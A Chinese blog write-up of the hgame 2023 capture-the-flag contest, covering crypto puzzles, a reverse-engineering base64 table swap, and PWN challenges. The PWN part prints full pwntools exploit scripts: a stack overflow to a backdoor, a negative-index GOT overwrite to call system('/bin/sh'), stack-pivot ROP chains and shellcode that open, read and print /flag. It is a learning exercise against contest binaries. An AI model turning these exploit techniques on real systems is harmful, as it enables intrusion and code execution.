hgame2023

  1. week1
    1. crypto
      1. 兔兔的车票
      2. 神秘的电话
    2. PWN
      1. easy_overflow
      2. choose_the_seat
      3. ORW
      4. simple_shellcode
  2. Week2
    1. re
      1. before_main
  3. Week3
    1. re

复现hgame

week1

crypto

兔兔的车票

题目:

from PIL import Image
from Crypto.Util.number import *
from random import shuffle, randint, getrandbits

flagImg = Image.open('flag.png')
width = flagImg.width
height = flagImg.height

def makeSourceImg():
    colors = long_to_bytes(getrandbits(width * height * 24))[::-1]
    #生成图像吧
    img = Image.new('RGB', (width, height))
    x = 0
    #写像素
    for i in range(height):
        for j in range(width):
            img.putpixel((j, i), (colors[x], colors[x + 1], colors[x + 2]))
            x += 3
    return img

def xorImg(keyImg, sourceImg):
    # 生成图片
    img = Image.new('RGB', (width, height)) 
    for i in range(height):
        for j in range(width):
            p1, p2 = keyImg.getpixel((j, i)), sourceImg.getpixel((j, i))
            img.putpixel((j, i), tuple([(p1[k] ^ p2[k]) for k in range(3)]))
    return img

n1 = makeSourceImg()
n2 = makeSourceImg()
n3 = makeSourceImg()
nonce = [n1, n2, n3]    #三张图片

index = list(range(16)) #生成0~16的序列
shuffle(index)  # 打乱序列
e=0


"""
这里flag.png已经提前被保存在source文件夹下了,文件名也是picture{xx}.png
"""

for i in index:
    im = Image.open(f"source/picture{i}.png")
    key = nonce[randint(0, 2)]
    encImg = xorImg(key, im)
    encImg.save(f'pics/enc{e}.png')
    e+=1

解法:原先我看着只有enc.png,其他啥都没有,怎么个异或?后来也注意到key只有三个,考虑过重复的情况,但是我发现仅有一个enc.png,还是没法搞出原图,后来看了别人的wp,才知道,只要flag.png^picture.png就行,因为它的picture.png原本的就没啥像素,enc.png大部分还是key的像素,所以找到一张存在flag.png的图片,将key异或掉就行,最终虽然得不到真正得flag.png但模糊程度也不高。这里对16张图片笛卡尔积级别异或就行

最后解密代码:

from PIL import Image
from Crypto.Util.number import *
from random import shuffle, randint, getrandbits

flagImg = Image.open(f'pics/enc{0}.png')
width = flagImg.width
height = flagImg.height
flagImg.close()

def xorImg(keyImg, sourceImg):
    # 生成图片
    img = Image.new('RGB', (width, height)) 
    for i in range(height):
        for j in range(width):
            p1, p2 = keyImg.getpixel((j, i)), sourceImg.getpixel((j, i))
            img.putpixel((j, i), tuple([(p1[k] ^ p2[k]) for k in range(3)]))
    return img


for i in range(16):
    for j in range(16):
        imi = Image.open(f"pics/enc{i}.png")
        imj = Image.open(f"pics/enc{j}.png")
        xorimg = xorImg(imj, imi)
        xorimg.save(f'source/xor{i*16+j}.png')
        imi.close()
        imj.close()

最后获得模糊的flag图片:

xor246

神秘的电话

题目:

一个疑似base64编码的txt文件

一个播放起来是一个摩斯密码的wav文件

解法:

  1. 提取出声音文件的信息:

    morse2ascii morse.wav
    

    image-20230114103532078

  2. base64解码:

image-20230114103642721

篱笆一一>栅栏密码;倒着一一>逆序;密匙一一>维吉尼亚密码;北欧神话一一>vidar

(这里用morse2ascii计算出的数据多了一些下划线,做法是每一处下划线都去掉一个就行)

最后flag:

image-20230114104040525

PWN

easy_overflow

他妈的,这道死活搞不出来,看了wp才知道是close函数关闭了标准输出通道。需要在来个报错输出,把结果输出过来

题目没啥好讲的,直接上exp

from pwn import *
io = process('./vuln')
# io = remote("week-1.hgame.lwsec.cn",31267)
elf = ELF('./vuln')
# main_addr = elf.sym['main']
back_addr = elf.sym['b4ckd0or']
payload = b'A'*16 + p64(0) + p64(back_addr)
io.sendline(payload)
io.interactive()

运用1>&2将结果从报错信息中输出

image-20230114110109416

choose_the_seat

**HINTS:**数组下标的检查好像少了点东西

下标v0没有检查下界

image-20230114151906912

seats在bss段,并只有seats写入。无法进行栈操作image-20230114152100537

思路:运用负下标进行got表覆盖,用got表泄漏libc的地址

  1. 先用vuln函数覆盖exit的地址,防止程序退出,方便下次再次利用
  2. 再用setbuf的plt表进行泄漏got地址,再用指定的libc计算基地址
  3. 用基地址计算system的地址,再用system的地址覆盖puts的地址,puts地址的旁边正好可以存放binsh的地方,连着binsh一起覆盖了

exp:

from pwn import *

io = process('./vuln')
# io = remote('week-1.hgame.lwsec.cn',30536)
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
def b():
    gdb.attach(io)
    pause()
elf = ELF("./vuln")
libc = ELF('./libc-2.31.so')
vuln_addr = elf.sym['vuln']

sys_libc = libc.sym['system']

libc_setbuf_addr = libc.sym['setbuf']
print('setbuf:',hex(libc_setbuf_addr))
io.sendlineafter(b'one.',str(-6))
io.sendafter(b'your name',p64(vuln_addr))
print("vuln",vuln_addr)
b()

io.sendlineafter(b'one.',str(-8))
io.sendafter(b'your name',b'\xd0')

io.recvuntil(b'name is ')
setbuf_addr = u64(io.recvuntil('Your seat').split(b'\nYour')[0].ljust(8,b'\0'))
print('addr:',hex(setbuf_addr))

base_addr = setbuf_addr - libc_setbuf_addr
sys_addr = base_addr + sys_libc

io.sendlineafter(b'one.',str(-9))
payload = b'/bin/sh\x00' + p64(sys_addr)
io.sendafter(b'your name',payload)
io.interactive()

这里在覆盖setbuf的地址时会写一个字母,字母所占位置不超过0x1000,因为一个内存页就是0x1000,所以无论基地址如何变,函数在内存页中的偏移地址不变,所以我们写一个字母也只是占用了偏移位置,对计算基地址并不会影响,所以我们查看指定libc中的setbuf(静态),将得到的setbuf的地址的偏移数值和我们泄漏出的偏移数值改成相同,再减去我们泄漏出的总值就能得到base_addr

下面把d0换成41就行,41就是我们写进去的’A’

image-20230114153844803

如何这里减去总值:

image-20230114153925669

这里还有一种做法就是写入\xd0,就是让地址不发生变化,这样计算基地址直接减去sym中找的地址就行,其实这种做法也就方便了一点点

io.sendafter(b'your name',b'\xd0')
io.recvuntil(b'name is ')
setbuf_addr = u64(io.recvuntil('Your seat').split(b'\nYour')[0].ljust(8,b'\0'))
print('addr:',hex(setbuf_addr))

binsh的地址正好是下标0x10的整数倍,然后后面就是puts的地址,可以说出题人别有用心了

image-20230114153109502

这里有两种做法,一种是从-9这个下标写入binsh的字符串和system的地址,让程序调用puts间接调用sytem函数

第二种做法就是用one_gadget查找libc中,执行binsh的指令

image-20230116195715458

这里其实条件比较苛刻,要求一些寄存器中的地址对应的内容为null,这里存在偶然性,不过也是可以的

所以我们采用第一种方法

io.sendlineafter(b'one.',str(-9))
payload = b'/bin/sh\x00' + p64(sys_addr)
io.sendafter(b'your name',payload)

这里我们可以先打开tmux终端,在tmux运行exp,前提是exp设置了context.terminal = [“tmux”,”splitw”,”-h”],然后进行gdb.attch

这里方便起见我们可以设置一个调试函数,方便exp运行时临时调试程序

def b():
    gdb.attach(io)
    pause()

将这个函数放置到我们想调试的地方

效果:

image-20230116200235063

然后再gdb先后输入got一一>p/x *(地址),就可以查看某个got中的内容了

image-20230116200809156

image-20230116200845999

这里吐槽一下,其实gdb新版本可以直接看到got表的内容,我这个gdb已经是ubuntu20.02的最高版本了,我这个docker就不折腾了

(PIE全称是position-independent executable,中文解释为地址无关可执行文件,该技术是一个针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址,从而不能通过ROPgadget等一些工具来帮助解题。解法:内存是以页载入机制,如果开启PIE保护的话,只能影响到单个内存页,一个内存页大小为0x1000,那么就意味着不管地址怎么变,某一条指令的后三位十六进制数的地址是始终不变的。因此我们可以通过覆盖地址的后几位来可以控制程序的流程)

结果:

image-20230116201152048

ORW

CTF中这类PWN题目通常通过禁用execve系统调用添加沙箱,不能直接执行命令getshell,这时候需要通过调用open、read、write这样的函数打开flag,存到内存中,再输出

将三个函数开头字母作为简称,也就是orw

可以通过seccomp-tools来判断是否添加沙箱,以及查看沙箱的规则

seccomp-tools dump ./pwn

像这样就是比较经典的只允许64位的read、write、open三个系统调用,其他的系统调用号都被禁止

这里需要用到栈迁移

栈迁移的本质就是控制rsp和rbp,将栈帧转移到我们想要的位置,这里需要执行两次leave;return。

leave=mov rsp,rbp;pop rbp 所以第一次不能将rsp进行改变

第一次是将rbp转移,第二次是将rsp转移。

栈迁移条件:

  1. 存在 leave ret 这类gadget指令
  2. 存在可执行shellcode的内存区域

链接:栈迁移原理介绍与应用 - Max1z - 博客园 (cnblogs.com)

这里说明一下:open拿到的只是文件句柄,里面没有文件内容,要读文件内容还是要执行read,read的参数就要求文件句柄,read的功能就是将硬盘文件内容读到内存中的某一块缓冲区中,然后write负责将缓冲区中的内容写进屏幕中

题目中溢出长度为0x30,那注入地址为0x30/0x8=6,就6条显然不能构成rop链

进行栈迁移,由于我没做过栈迁移的题,这里详细写一下

第一次溢出,把rbp放到别的地方,然后泄漏puts的内存地址,rbp放到bss+0x200,这个地址其实是程序地址之外的空间了,所以拿来当作新栈对程序不产生影响

image-20230115211905558

payload1 = b'A' * 0x100 + p64(bss+0x200)
payload1 += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(vuln_addr)

计算基地址,算出orw三个函数的地址

success('puts:',hex(puts_addr))
base_addr = puts_addr - libc_puts
open_addr = libc.sym['open'] + base_addr
read_addr = libc.sym['read'] + base_addr
write_addr = libc.sym['write'] + base_addr

第二次溢出,将rbp放置到新栈

image-20230115212222119

payload = b"a" * 0x100
payload += p64(bss + 0x200)
payload += p64(vuln_addr + 0x0F)
io.send(payload)

执行完第二次溢出后,rsp在旧栈位置,rbp在新栈位置,为了让rbp在新栈位置不发生移动,这里我们直接将之后的函数直接定位到read函数上,+0xf,因为read函数之前有对rbp和rsp进行操作

第三次溢出,将进行两次leave;ret,这样rsp就将锁定在新栈的栈顶位置,因为ret主要是靠rsp来控制程序流,rbp只是拿来定位局部变量

payload2 = b'/flag\x00\x00\x00'
payload2 += p64(pop_rdi_ret)
payload2 += p64(0x404160) #这里就是新rbp-0x100的地方,也就是刚写'/flag\x00\x00\x00'的地址
payload2 += p64(pop_rsi_ret)
payload2 += p64(0)
payload2 += p64(open_addr)

payload2 += p64(pop_rdi_ret)
payload2 += p64(0x3) 
payload2 += p64(pop_rsi_ret)
payload2 += p64(0x404711)   # 可能是指定缓冲区地址
payload2 += p64(pop_rdx_ret)
payload2 += p64(0x100)
payload2 += p64(read_addr)

payload2 += p64(pop_rdi_ret)
payload2 += p64(0x1)
payload2 += p64(pop_rsi_ret)
payload2 += p64(0x404711)
payload2 += p64(pop_rdx_ret)
payload2 += p64(0x100)
payload2 += p64(write_addr)

payload2 = payload2.ljust(0x100,b'a')
payload2 += p64(0x404160)   # 这里就是第一次pop rbp后rbp的位置,第二次pop要往我们想要的栈顶走,把rsp移过去
payload2 += p64(leave_ret_addr)

所以第三次的rbp最终位置不用去管它,rbp的任务就是让rsp锁定到新栈栈顶位置就行

这里read和write都需要三个参数,64位,函数从左到右寄存器分别是rdi,rsi,rdx

通过pop ret指令来控制rsp从而控制程序流

以上就是栈迁移的详细内容

完整代码:

from pwn import *

# io = process('./vuln')
io = remote('week-1.hgame.lwsec.cn',31266)
elf = ELF('./vuln')
libc = ELF('libc-2.31.so')
context.log_level = "debug"
context.terminal =  ["konsole", "-e"]

vuln_addr = elf.sym['vuln']
libc_puts = libc.sym['puts']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

leave_ret_addr = 0x4012be
pop_rdi_ret = 0x0401393
bss = 0x404060



# 第一次溢出,把rbp放到别的地方,然后泄漏puts的内存地址
payload1 = b'A' * 0x100 + p64(bss+0x200)
payload1 += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(vuln_addr)

io.sendafter('task.\n',payload1)
puts_addr = u64(io.recvline().split(b'\n')[0].ljust(8,b'\0'))
success('puts:',hex(puts_addr))
base_addr = puts_addr - libc_puts
open_addr = libc.sym['open'] + base_addr
read_addr = libc.sym['read'] + base_addr
write_addr = libc.sym['write'] + base_addr
pop_rsi_ret = 0x02601f + base_addr
pop_rdx_ret = 0x142c92 + base_addr

payload = b"a" * 0x100
payload += p64(bss + 0x200)
payload += p64(vuln_addr + 0x0F)
io.send(payload)


# 第二次溢出,将rbp放到二次写入的开始处,将rsp放到与rbp相同位置

payload2 = b'/flag\x00\x00\x00'
payload2 += p64(pop_rdi_ret)
payload2 += p64(0x404160) #这里就是新rbp-0x100的地方,也就是刚写'/flag\x00\x00\x00'的地址
payload2 += p64(pop_rsi_ret)
payload2 += p64(0)
payload2 += p64(open_addr)

payload2 += p64(pop_rdi_ret)
payload2 += p64(0x3) 
payload2 += p64(pop_rsi_ret)
payload2 += p64(0x404711)   # 指定缓冲区地址,随意
payload2 += p64(pop_rdx_ret)
payload2 += p64(0x100)
payload2 += p64(read_addr)

payload2 += p64(pop_rdi_ret)
payload2 += p64(0x1)
payload2 += p64(pop_rsi_ret)
payload2 += p64(0x404711)
payload2 += p64(pop_rdx_ret)
payload2 += p64(0x100)
payload2 += p64(write_addr)

payload2 = payload2.ljust(0x100,b'a')
payload2 += p64(0x404160)   # 这里就是第一次pop rbp后rbp的位置,第二次pop要往我们想要的栈顶走,把rsp移过去
payload2 += p64(leave_ret_addr)


# gdb.attach(io)
io.send(payload2)
io.interactive()

最后结果:

image-20230115214426688

这里还有一种做法,原本程序开启了NX保护,我们可以通过libc中的mprotect函数给一段内存区域更改权限,然后在栈中写入shellcode,然后让程序执行栈中的shellcode,这里shellcode也很长,也需要用到栈迁移

payload2 = p64(0)   #0x404160
payload2 += p64(pop_rdi_ret)
payload2 += p64(0x404000) #这里是mprotect函数要操作的开始地址   #0x404170
payload2 += p64(pop_rsi_ret)
payload2 += p64(0x1000)          # 要操作的大小 #0x404180
payload2 += p64(pop_rdx_ret)
payload2 += p64(7)  # 7代表可读可写可执行权限   #0x404190
payload2 += p64(mprotect_addr)
payload2 += p64(0x4041a8)       #0x4041a0
payload2 += asm(shellcraft.open("/flag",1))   
payload2 += asm(shellcraft.read(3,0x404500,100))
payload2 += asm(shellcraft.write(1,0x404500,100))

payload2 = payload2.ljust(0x100,b'a')
payload2 += p64(0x404160)   # 这里就是第一次pop rbp后rbp的位置,第二次pop要往我们想要的栈顶走,把rsp移过去
payload2 += p64(leave_ret_addr)

mprotect参数有三,起始地址,长度,权限

这里程序出了bug,flag中g实在写不进去不知道为啥(更新,没设置64位,加上context.arch = “amd64”这句就行,因为系统默认32位,/flag的字符串正好超出4字节数据)

完整代码:

from pwn import *

# io = process('./vuln')
io = remote('week-1.hgame.lwsec.cn',31266)
elf = ELF('./vuln')
libc = ELF('libc-2.31.so')
# context.log_level = "debug"
# context.terminal =  ["konsole", "-e"]
context.arch = "amd64"

vuln_addr = elf.sym['vuln']
libc_puts = libc.sym['puts']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

leave_ret_addr = 0x4012be
pop_rdi_ret = 0x0401393
bss = 0x404060

# 第一次溢出,把rbp放到别的地方,然后泄漏puts的内存地址
payload1 = b'A' * 0x100 + p64(bss+0x200)
payload1 += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(vuln_addr)

io.sendafter('task.\n',payload1)
puts_addr = u64(io.recv(6).ljust(8,b'\0'))
success('puts:',hex(puts_addr))
base_addr = puts_addr - libc_puts
mprotect_addr = libc.sym['mprotect'] + base_addr
pop_rsi_ret = 0x02601f + base_addr
pop_rdx_ret = 0x142c92 + base_addr

payload = b"a" * 0x100
payload += p64(bss + 0x200)
payload += p64(vuln_addr + 0x0F)
io.send(payload)


# 第二次溢出,将rbp放到二次写入的开始处,将rsp放到与rbp相同位置

payload2 = p64(0)   #0x404160
payload2 += p64(pop_rdi_ret)
payload2 += p64(0x404000) #这里是mprotect函数要操作的开始地址   #0x404170
payload2 += p64(pop_rsi_ret)
payload2 += p64(0x1000)          # 要操作的大小 #0x404180
payload2 += p64(pop_rdx_ret)
payload2 += p64(7)  # 7代表可读可写可执行权限   #0x404190
payload2 += p64(mprotect_addr)
payload2 += p64(0x4041a8)       #0x4041a0
payload2 += asm(shellcraft.open("/flag",1))   
payload2 += asm(shellcraft.read(3,0x404500,100))
payload2 += asm(shellcraft.write(1,0x404500,100))

payload2 = payload2.ljust(0x100,b'a')
payload2 += p64(0x404160)   # 这里就是第一次pop rbp后rbp的位置,第二次pop要往我们想要的栈顶走,把rsp移过去
payload2 += p64(leave_ret_addr)

# gdb.attach(io)
io.send(payload2)
io.interactive()

simple_shellcode

题目:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  mmap((void *)0xCAFE0000LL, 0x1000uLL, 7, 33, -1, 0LL);
  puts("Please input your shellcode:");
  read(0, (void *)0xCAFE0000LL, 0x10uLL);
  sandbox();
  MEMORY[0xCAFE0000]();
  return 0;
}

题目用mmap映射出一段以0xCAFE0000开始,长度为0x1000,权限是7(可读可写可执行)

用sandbox设置了系统权限

这里向0xCAFE0000读入16字节,可以考虑rop,但检查保护时,就放弃了

image-20230116111016050

写入shellcode,用orw的话,长度也远远不够

HINTS:

一次read不够多,为什么不再读一次呢?

第一次将read的shellcode读入,然后再程序执行0xCAFE0000这段内存,从而执行读入的read,那就要好好设计一波read的shellcode了,起初我是用rdi这种64位的寄存器写的,但是最终长度远远超过16字节

shellcode = asm("""
mov rax,0
mov rsi,0xCAFE0010
mov rdi,0
mov rdx,0x1000
syscall
""")

image-20230116111442132

然后只能全部改成edi这种32位寄存器的形式了

shellcode = asm("""
mov eax,0
mov esi,0xCAFE0010
mov edi,0
mov edx,0x1000
syscall
""")

但是还是不行

image-20230116111621791

把mov 0的操作全部换成xor,就对了

shellcode = asm("""
xor eax,eax
mov esi,0xCAFE0010
xor edi,edi
mov edx,0x1000
syscall
""")

image-20230116112543060

这里要调用read,就要涉及系统调用号:

在汇编程序中使用Linux系统调用。 您需要采取以下步骤在程序中使用Linux系统调用

  • 将系统调用号放在EAX寄存器中。
  • 结果通常在EAX寄存器中返回

==这里注意64位和32的系统调用号是不一样的==

  • 32位:
    • 传参方式:首先将系统调用号 传入 eax,sysread 的调用号 为 3 syswrite 的调用号 为 4

  • 64位:
    • 传参方式:首先将系统调用号 传入 rax,sysread 的调用号 为 0 syswrite 的调用号 为 1

所以这里的read系统调用号是0

这里写入read的shellcode后,执行我们写的shellcode,第二次写入的orw也是shellcode,这里要设置amd64位不然就无了。

这里有个细节在执行syscall指令时,程序会按照普通程序一样,会将shellcode的下一条指令压栈,所以在执行完syscall后,下一个指令要执行的地方就是syscall后的地址,这里除syscall这一条指令,长度为14,所以第二次写入的地址,只能是0xCAFE0000+14之后的地址,这里我们选择为0xCAFE0010就够了,然后直接写入orw的shellcode。

payload = asm(shellcraft.open('/flag'))
payload += asm(shellcraft.read(3,0xcafe0500,0x100))
payload += asm(shellcraft.write(1,0xcafe0500,0x100))

这里的缓冲区我原先是写0xcafe1000的,结果后面才发现它总共才申请了0x1000的大小内存,哈哈

完整代码:

from pwn import *
io = remote('week-1.hgame.lwsec.cn',30105)

# context.log_level = "debug"
context.arch = "amd64"

shellcode = asm("""
xor eax,eax
mov esi,0xCAFE0010
xor edi,edi
mov edx,0x1000
syscall
""")
print('len:',len(shellcode))
io.sendafter('shellcode:\n',shellcode)

# payload = b'\x90' * 0x10
payload = asm(shellcraft.open('/flag'))
payload += asm(shellcraft.read(3,0xcafe0500,0x100))
payload += asm(shellcraft.write(1,0xcafe0500,0x100))

io.send(payload)
io.interactive()

结果:

image-20230116113635529


Week2

re

before_main

题中 __attribute__属性修饰函数,参考链接:(61条消息) 浅析逆向中 gcc 在主函数前后运行的函数_沐一 · 林的博客-CSDN博客_逆向 init

该题考查base64,换表函数定义了__ attribute__ ((constructor))会使函数在 main() 函数之前被执行

这里ptrace检测反调试,即出现反调试就不进行换表操作image-20230214103452756

自己手动换表后用cyberchef解base64即可


Week3

re


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 jaytp@qq.com

×

喜欢就点赞,疼爱就打赏